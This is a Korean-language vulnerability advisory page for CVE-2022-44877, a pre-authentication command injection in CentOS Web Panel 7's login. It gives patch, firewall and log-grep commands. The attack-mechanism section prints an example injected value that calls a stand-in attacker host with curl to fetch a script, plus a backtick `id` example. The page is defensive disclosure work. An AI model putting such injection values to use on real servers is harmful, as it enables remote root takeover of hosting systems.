CVE 데이터베이스CVE-2022-44877

최종 갱신 2026-06-17English Advisory →

CVE-2022-448779.8/CRITICALCISA KEV 등재CWE-78CWE-78

CentOS Web Panel (CWP) 7 login/index.php 원격 명령 실행(RCE) 취약점 (CVE-2022-44877) 분석 및 대응 가이드

⚡ 패치 명령어 바로가기

영향받는 벤더 / 생태계

centos-webpanel

대상 컴포넌트 / 패키지

control_web_panel

권고문 발행일

2023-01-05

CVSS v3.1

9.8

CRITICAL

30일 악용확률

100.0%

FIRST.org

CISA KEV

악용 확인됨

NVD 원문 ↗

실무자 핵심 요약 (Executive Summary)

SECOPS ASSESSMENT

영향 대상

CentOS Web Panel (CWP) 7 버전 0.9.8.1147 미만

파급 효과

인증되지 않은 원격 공격자가 로그인 매개변수에 쉘 메타문자를 주입하여 대상 서버에서 루트 권한으로 임의의 OS 명령을 실행할 수 있습니다.

권장 조치

CWP 7 버전을 최신 보안 패치가 적용된 0.9.8.1147 이상으로 즉시 업그레이드하고, 외부 노출 포트에 대한 접근 제어를 설정하십시오.

영향받는 제품 및 버전 범위

CentOS Web Panel (CWP) 7 버전 0.9.8.1147 미만의 모든 설치 환경

권장 패치 및 임시 완화(Workaround) 가이드

패치 및 우회 명령어

1. 공식 보안 패치 및 버전 업그레이드 명령어

CWP는 자체 업데이트 스크립트를 제공합니다. 터미널에 접속하여 아래 명령어를 실행해 CWP를 최신 버전(0.9.8.1147 이상)으로 강제 업데이트하십시오.

bash

# CWP 강제 업데이트 스크립트 실행
sh /scripts/update_cwp

# 업데이트 후 현재 설치된 CWP 버전 확인
cat /usr/local/cwpsrv/htdocs/resources/admin/include/version.php | grep 'version'

2. 패치 전 임시 완화(Workaround) 및 접근 제어 설정

즉각적인 패치가 어려운 경우, 방화벽(iptables 또는 firewalld)을 사용하여 신뢰할 수 없는 외부 IP 대역으로부터의 CWP 관리자 포트(2030, 2031) 접근을 차단해야 합니다.

bash

# firewalld를 사용하는 경우: 특정 신뢰할 수 있는 IP(예: 192.168.1.100)만 2031 포트 허용
firewall-cmd --permanent --zone=public --remove-port=2031/tcp
firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.100" port protocol="tcp" port="2031" accept'
firewall-cmd --reload

3. 침해 흔적(IoC) 및 로그·버전 점검 스크립트

CWP 웹 서버 로그에서 취약점 공격 시도 흔적(쉘 메타문자 주입 시도)을 탐지하기 위해 아래 명령어를 실행하십시오.

bash

# CWP 웹 서버 액세스 로그에서 쉘 메타문자($ 또는 `) 및 의심스러운 명령어 실행 흔적 검색
grep -Ei '(\||\&|\;|\`|\$\()' /usr/local/cwpsrv/logs/access_log

실무자 패치 대응 자가 점검 체크리스트

0/4 (0%)

권장 아키텍처 방어 통제 (Recommended Security Control)

Cloudflare Enterprise & Pro WAF

CWP 7 버전을 즉시 0.9.8.1147 이상으로 업데이트하고, 관리자 포트(2030/2031)의 외부 노출을 최소화하십시오.

코드 수정 전에도 가상 패치(Virtual Patching)로 웹 공격을 즉시 차단하세요

서버 재시작이나 긴급 패치가 어려운 운영 환경이라면 클라우드 WAF 관리형 룰셋을 활성화하여 SQLi, RCE, XSS 익스플로잇 페이로드를 엣지에서 1분 만에 차단할 수 있습니다.

평균 설정 시간 3분 · Zero-Day 자동 룰 업데이트

무료 WAF 보안 진단 및 룰셋 적용하기

이 웹 취약점(WAF 우회 & RCE)을 안전한 실습 랩에서 직접 재현해 보세요

실습 랩 & 보안 강의 보러가기

취약점 발생 원리 및 공격 메커니즘

1. 취약점 개요 및 발생 원인 (Root Cause)

본 취약점(CVE-2022-44877)은 CentOS Web Panel(CWP, 현 Control Web Panel) 7의 로그인 처리 구성 요소인 login/index.php에서 발생하는 치명적인 OS 명령 주입(Command Injection) 취약점입니다. 사용자로부터 입력받는 로그인 매개변수(login parameter)를 적절한 검증이나 이스케이프 처리 없이 시스템 쉘 명령의 인자로 직접 전달하면서 발생합니다. 이로 인해 공격자는 입력값 내에 쉘 메타문자(예: 백틱, 달러-괄호 등)를 삽입하여 웹 서버 권한(일반적으로 root)으로 임의의 시스템 명령을 실행할 수 있게 됩니다.

2. 공격 메커니즘 및 익스플로잇 시나리오

공격자는 CWP의 관리자 포트(기본 포트 2030 또는 SSL 2031)로 특수하게 조작된 HTTP POST 요청을 전송합니다. 로그인 요청 본문의 특정 매개변수에 $(curl http://attacker.com/malicious_script) 또는 ` id `와 같은 형태의 쉘 메타문자를 포함하여 전송하면, 내부 PHP 스크립트가 이를 시스템 명령어로 해석하여 실행합니다. 이 취약점은 사전 인증(Unauthenticated) 단계에서 발생하므로, 공격자는 유효한 계정 정보 없이도 대상 시스템의 완전한 제어권을 획득할 수 있으며 리버스 쉘을 통해 내부망 침투를 시도할 수 있습니다.

3. 비즈니스 및 인프라 파급 영향

CWP는 웹 호스팅 및 서버 관리를 위한 제어판으로, 대개 시스템의 최고 권한(root)으로 동작합니다. 따라서 본 취약점이 성공적으로 익스플로잇될 경우, 공격자는 호스팅 서버 내의 모든 웹사이트 데이터, 데이터베이스, 사용자 계정 정보 및 SSL 인증서에 접근할 수 있습니다. 또한 CISA KEV(Known Exploited Vulnerabilities)에 등재되어 실제 야생(In-the-Wild)에서 활발히 악용되고 있으며, EPSS 점수가 최고치(1.0)에 달해 즉각적인 조치가 취해지지 않을 경우 랜섬웨어 감염이나 봇넷 가입 등 심각한 비즈니스 중단 사태로 이어질 수 있습니다.

공식 보안 권고문 및 참조 링크

NIST NVD 공식 영문 원문 (Original Record)

login/index.php in CWP (aka Control Web Panel or CentOS Web Panel) 7 before 0.9.8.1147 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the login parameter.

http://packetstormsecurity.com/files/170388/Control-Web-Panel-7-Remote-Code-Execution.html

출처: cve@mitre.org · Exploit, Third Party Advisory, VDB Entry

http://packetstormsecurity.com/files/170820/Control-Web-Panel-Unauthenticated-Remote-Command-Execution.html

출처: cve@mitre.org · Exploit, Third Party Advisory, VDB Entry

http://packetstormsecurity.com/files/171725/Control-Web-Panel-7-CWP7-0.9.8.1147-Remote-Code-Execution.html

출처: cve@mitre.org · Exploit, Third Party Advisory, VDB Entry

http://seclists.org/fulldisclosure/2023/Jan/1

출처: cve@mitre.org · Exploit, Mailing List, Third Party Advisory

https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386

출처: cve@mitre.org · Exploit, Third Party Advisory

https://www.youtube.com/watch?v=kiLfSvc1SYY

출처: cve@mitre.org · Exploit, Third Party Advisory

자주 묻는 실무 질문 (FAQ — CVE-2022-44877)

FAQ

Q1. CVE-2022-44877 취약점의 위험도와 실제 악용 가능성은 어느 정도입니까?

CVE-2022-44877의 기본 점수는 CVSS 9.8 (CRITICAL)이며, 향후 30일 내 실제 악용 확률을 나타내는 EPSS 점수는 100.0%입니다. 현재 미국 CISA KEV(실제 악용이 확인된 취약점 카탈로그)에 등재되어 있으므로 최우선 긴급 패치가 필요합니다.

Q2. CVE-2022-44877에 영향을 받는 벤더와 제품은 무엇입니까?

주요 영향 벤더는 centos-webpanel이며, 대상 컴포넌트는 control_web_panel입니다. 상세 영향 범위: CentOS Web Panel (CWP) 7 버전 0.9.8.1147 미만의 모든 설치 환경

Q3. 서버 재기동이나 정규 패치 전 즉시 적용할 수 있는 완화 조치(Workaround)는 무엇입니까?

[권장 조치] CWP 7 버전을 최신 보안 패치가 적용된 0.9.8.1147 이상으로 즉시 업그레이드하고, 외부 노출 포트에 대한 접근 제어를 설정하십시오. 본문의 패치 및 우회 명령어 섹션과 자가 점검 체크리스트를 참고하여 외부 노출 포트를 차단하거나 WAF 탐지 규칙을 선적용하십시오.

실무자 보고서 워크벤치 연동